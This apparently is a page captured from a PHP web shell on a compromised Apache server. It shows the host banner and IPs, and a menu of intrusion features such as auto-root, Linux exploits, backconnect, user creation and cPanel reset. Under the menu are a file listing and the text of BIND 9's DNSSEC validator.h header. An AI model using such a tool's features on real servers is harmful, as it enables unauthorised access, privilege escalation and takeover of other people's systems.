Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.133.108.172
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
include /
bind9 /
dns /
[ HOME SHELL ]
Name
Size
Permission
Action
acache.h
13.99
KB
-rw-r--r--
acl.h
7.1
KB
-rw-r--r--
adb.h
22.03
KB
-rw-r--r--
badcache.h
3.28
KB
-rw-r--r--
bit.h
856
B
-rw-r--r--
byaddr.h
3.89
KB
-rw-r--r--
cache.h
7.95
KB
-rw-r--r--
callbacks.h
2.22
KB
-rw-r--r--
catz.h
11.54
KB
-rw-r--r--
cert.h
1.43
KB
-rw-r--r--
client.h
21.52
KB
-rw-r--r--
clientinfo.h
1.95
KB
-rw-r--r--
compress.h
6.51
KB
-rw-r--r--
db.h
44.68
KB
-rw-r--r--
dbiterator.h
7.26
KB
-rw-r--r--
dbtable.h
3.09
KB
-rw-r--r--
diff.h
6.82
KB
-rw-r--r--
dispatch.h
16.05
KB
-rw-r--r--
dlz.h
10.38
KB
-rw-r--r--
dlz_dlopen.h
4.54
KB
-rw-r--r--
dns64.h
5.51
KB
-rw-r--r--
dnssec.h
12
KB
-rw-r--r--
dnstap.h
9.2
KB
-rw-r--r--
ds.h
1.19
KB
-rw-r--r--
dsdigest.h
1.68
KB
-rw-r--r--
dyndb.h
4.72
KB
-rw-r--r--
ecdb.h
808
B
-rw-r--r--
edns.h
721
B
-rw-r--r--
enumclass.h
1.19
KB
-rw-r--r--
enumtype.h
7.74
KB
-rw-r--r--
events.h
3.96
KB
-rw-r--r--
fixedname.h
1.56
KB
-rw-r--r--
forward.h
3.37
KB
-rw-r--r--
geoip.h
2.34
KB
-rw-r--r--
ipkeylist.h
2.12
KB
-rw-r--r--
iptable.h
1.6
KB
-rw-r--r--
journal.h
8.05
KB
-rw-r--r--
keydata.h
1.02
KB
-rw-r--r--
keyflags.h
1.25
KB
-rw-r--r--
keytable.h
9.28
KB
-rw-r--r--
keyvalues.h
4.06
KB
-rw-r--r--
lib.h
1.16
KB
-rw-r--r--
log.h
3.87
KB
-rw-r--r--
lookup.h
2.85
KB
-rw-r--r--
master.h
11.08
KB
-rw-r--r--
masterdump.h
12.35
KB
-rw-r--r--
message.h
37.27
KB
-rw-r--r--
name.h
36.49
KB
-rw-r--r--
ncache.h
4.8
KB
-rw-r--r--
nsec.h
2.88
KB
-rw-r--r--
nsec3.h
8.17
KB
-rw-r--r--
nta.h
4.32
KB
-rw-r--r--
opcode.h
1006
B
-rw-r--r--
order.h
1.95
KB
-rw-r--r--
peer.h
6.06
KB
-rw-r--r--
portlist.h
2.05
KB
-rw-r--r--
private.h
1.9
KB
-rw-r--r--
rbt.h
39.7
KB
-rw-r--r--
rcode.h
2.42
KB
-rw-r--r--
rdata.h
20.92
KB
-rw-r--r--
rdataclass.h
2.2
KB
-rw-r--r--
rdatalist.h
2.51
KB
-rw-r--r--
rdataset.h
20.47
KB
-rw-r--r--
rdatasetiter.h
3.83
KB
-rw-r--r--
rdataslab.h
4.29
KB
-rw-r--r--
rdatastruct.h
57.57
KB
-rw-r--r--
rdatatype.h
2.24
KB
-rw-r--r--
request.h
10.89
KB
-rw-r--r--
resolver.h
18.63
KB
-rw-r--r--
result.h
8.57
KB
-rw-r--r--
rootns.h
891
B
-rw-r--r--
rpz.h
10.09
KB
-rw-r--r--
rriterator.h
4.17
KB
-rw-r--r--
rrl.h
6.49
KB
-rw-r--r--
sdb.h
7.04
KB
-rw-r--r--
sdlz.h
13.87
KB
-rw-r--r--
secalg.h
1.67
KB
-rw-r--r--
secproto.h
1.52
KB
-rw-r--r--
soa.h
2.17
KB
-rw-r--r--
ssu.h
8.09
KB
-rw-r--r--
stats.h
13.15
KB
-rw-r--r--
tcpmsg.h
3.05
KB
-rw-r--r--
time.h
1.66
KB
-rw-r--r--
timer.h
1.02
KB
-rw-r--r--
tkey.h
7.43
KB
-rw-r--r--
tsec.h
2.88
KB
-rw-r--r--
tsig.h
8.06
KB
-rw-r--r--
ttl.h
1.93
KB
-rw-r--r--
types.h
13.65
KB
-rw-r--r--
update.h
1.61
KB
-rw-r--r--
validator.h
7.02
KB
-rw-r--r--
version.h
867
B
-rw-r--r--
view.h
34.69
KB
-rw-r--r--
xfrin.h
2.85
KB
-rw-r--r--
zone.h
59.8
KB
-rw-r--r--
zonekey.h
763
B
-rw-r--r--
zt.h
5.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : validator.h
/* * Copyright (C) Internet Systems Consortium, Inc. ("ISC") * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. * * See the COPYRIGHT file distributed with this work for additional * information regarding copyright ownership. */ #ifndef DNS_VALIDATOR_H #define DNS_VALIDATOR_H 1 /***** ***** Module Info *****/ /*! \file dns/validator.h * * \brief * DNS Validator * This is the BIND 9 validator, the module responsible for validating the * rdatasets and negative responses (messages). It makes use of zones in * the view and may fetch RRset to complete trust chains. It implements * DNSSEC as specified in RFC 4033, 4034 and 4035. * * It can also optionally implement ISC's DNSSEC look-aside validation. * * Correct operation is critical to preventing spoofed answers from secure * zones being accepted. * * MP: *\li The module ensures appropriate synchronization of data structures it * creates and manipulates. * * Reliability: *\li No anticipated impact. * * Resources: *\li TBS * * Security: *\li No anticipated impact. * * Standards: *\li RFCs: 1034, 1035, 2181, 4033, 4034, 4035. */ #include <isc/lang.h> #include <isc/event.h> #include <isc/mutex.h> #include <dns/fixedname.h> #include <dns/types.h> #include <dns/rdataset.h> #include <dns/rdatastruct.h> /* for dns_rdata_rrsig_t */ #include <dst/dst.h> /*% * A dns_validatorevent_t is sent when a 'validation' completes. * \brief * 'name', 'rdataset', 'sigrdataset', and 'message' are the values that were * supplied when dns_validator_create() was called. They are returned to the * caller so that they may be freed. * * If the RESULT is ISC_R_SUCCESS and the answer is secure then * proofs[] will contain the names of the NSEC records that hold the * various proofs. Note the same name may appear multiple times. */ typedef struct dns_validatorevent { ISC_EVENT_COMMON(struct dns_validatorevent); dns_validator_t * validator; isc_result_t result; /* * Name and type of the response to be validated. */ dns_name_t * name; dns_rdatatype_t type; /* * Rdata and RRSIG (if any) for positive responses. */ dns_rdataset_t * rdataset; dns_rdataset_t * sigrdataset; /* * The full response. Required for negative responses. * Also required for positive wildcard responses. */ dns_message_t * message; /* * Proofs to be cached. */ dns_name_t * proofs[4]; /* * Optout proof seen. */ isc_boolean_t optout; /* * Answer is secure. */ isc_boolean_t secure; } dns_validatorevent_t; #define DNS_VALIDATOR_NOQNAMEPROOF 0 #define DNS_VALIDATOR_NODATAPROOF 1 #define DNS_VALIDATOR_NOWILDCARDPROOF 2 #define DNS_VALIDATOR_CLOSESTENCLOSER 3 /*% * A validator object represents a validation in progress. * \brief * Clients are strongly discouraged from using this type directly, with * the exception of the 'link' field, which may be used directly for * whatever purpose the client desires. */ struct dns_validator { /* Unlocked. */ unsigned int magic; isc_mutex_t lock; dns_view_t * view; /* Locked by lock. */ unsigned int options; unsigned int attributes; dns_validatorevent_t * event; dns_fetch_t * fetch; dns_validator_t * subvalidator; dns_validator_t * parent; dns_keytable_t * keytable; dns_keynode_t * keynode; dst_key_t * key; dns_rdata_rrsig_t * siginfo; isc_task_t * task; isc_taskaction_t action; void * arg; unsigned int labels; dns_rdataset_t * currentset; isc_boolean_t seensig; dns_rdataset_t * keyset; dns_rdataset_t * dsset; dns_rdataset_t * soaset; dns_rdataset_t * nsecset; dns_rdataset_t * nsec3set; dns_name_t * soaname; dns_rdataset_t frdataset; dns_rdataset_t fsigrdataset; dns_fixedname_t fname; dns_fixedname_t wild; dns_fixedname_t nearest; dns_fixedname_t closest; ISC_LINK(dns_validator_t) link; dns_rdataset_t dlv; dns_fixedname_t dlvsep; isc_boolean_t havedlvsep; isc_boolean_t mustbesecure; unsigned int dlvlabels; unsigned int depth; unsigned int authcount; unsigned int authfail; isc_boolean_t failed; isc_stdtime_t start; }; /*% * dns_validator_create() options. */ #define DNS_VALIDATOR_DLV 0x0001U #define DNS_VALIDATOR_DEFER 0x0002U #define DNS_VALIDATOR_NOCDFLAG 0x0004U #define DNS_VALIDATOR_NONTA 0x0008U /*% Ignore NTA table */ ISC_LANG_BEGINDECLS isc_result_t dns_validator_create(dns_view_t *view, dns_name_t *name, dns_rdatatype_t type, dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset, dns_message_t *message, unsigned int options, isc_task_t *task, isc_taskaction_t action, void *arg, dns_validator_t **validatorp); /*%< * Start a DNSSEC validation. * * This validates a response to the question given by * 'name' and 'type'. * * To validate a positive response, the response data is * given by 'rdataset' and 'sigrdataset'. If 'sigrdataset' * is NULL, the data is presumed insecure and an attempt * is made to prove its insecurity by finding the appropriate * null key. * * The complete response message may be given in 'message', * to make available any authority section NSECs that may be * needed for validation of a response resulting from a * wildcard expansion (though no such wildcard validation * is implemented yet). If the complete response message * is not available, 'message' is NULL. * * To validate a negative response, the complete negative response * message is given in 'message'. The 'rdataset', and * 'sigrdataset' arguments must be NULL, but the 'name' and 'type' * arguments must be provided. * * The validation is performed in the context of 'view'. * * When the validation finishes, a dns_validatorevent_t with * the given 'action' and 'arg' are sent to 'task'. * Its 'result' field will be ISC_R_SUCCESS iff the * response was successfully proven to be either secure or * part of a known insecure domain. * * options: * If DNS_VALIDATOR_DLV is set the caller knows there is not a * trusted key and the validator should immediately attempt to validate * the answer by looking for an appropriate DLV RRset. */ void dns_validator_send(dns_validator_t *validator); /*%< * Send a deferred validation request * * Requires: * 'validator' to points to a valid DNSSEC validator. */ void dns_validator_cancel(dns_validator_t *validator); /*%< * Cancel a DNSSEC validation in progress. * * Requires: *\li 'validator' points to a valid DNSSEC validator, which * may or may not already have completed. * * Ensures: *\li It the validator has not already sent its completion * event, it will send it with result code ISC_R_CANCELED. */ void dns_validator_destroy(dns_validator_t **validatorp); /*%< * Destroy a DNSSEC validator. * * Requires: *\li '*validatorp' points to a valid DNSSEC validator. * \li The validator must have completed and sent its completion * event. * * Ensures: *\li All resources used by the validator are freed. */ ISC_LANG_ENDDECLS #endif /* DNS_VALIDATOR_H */
Close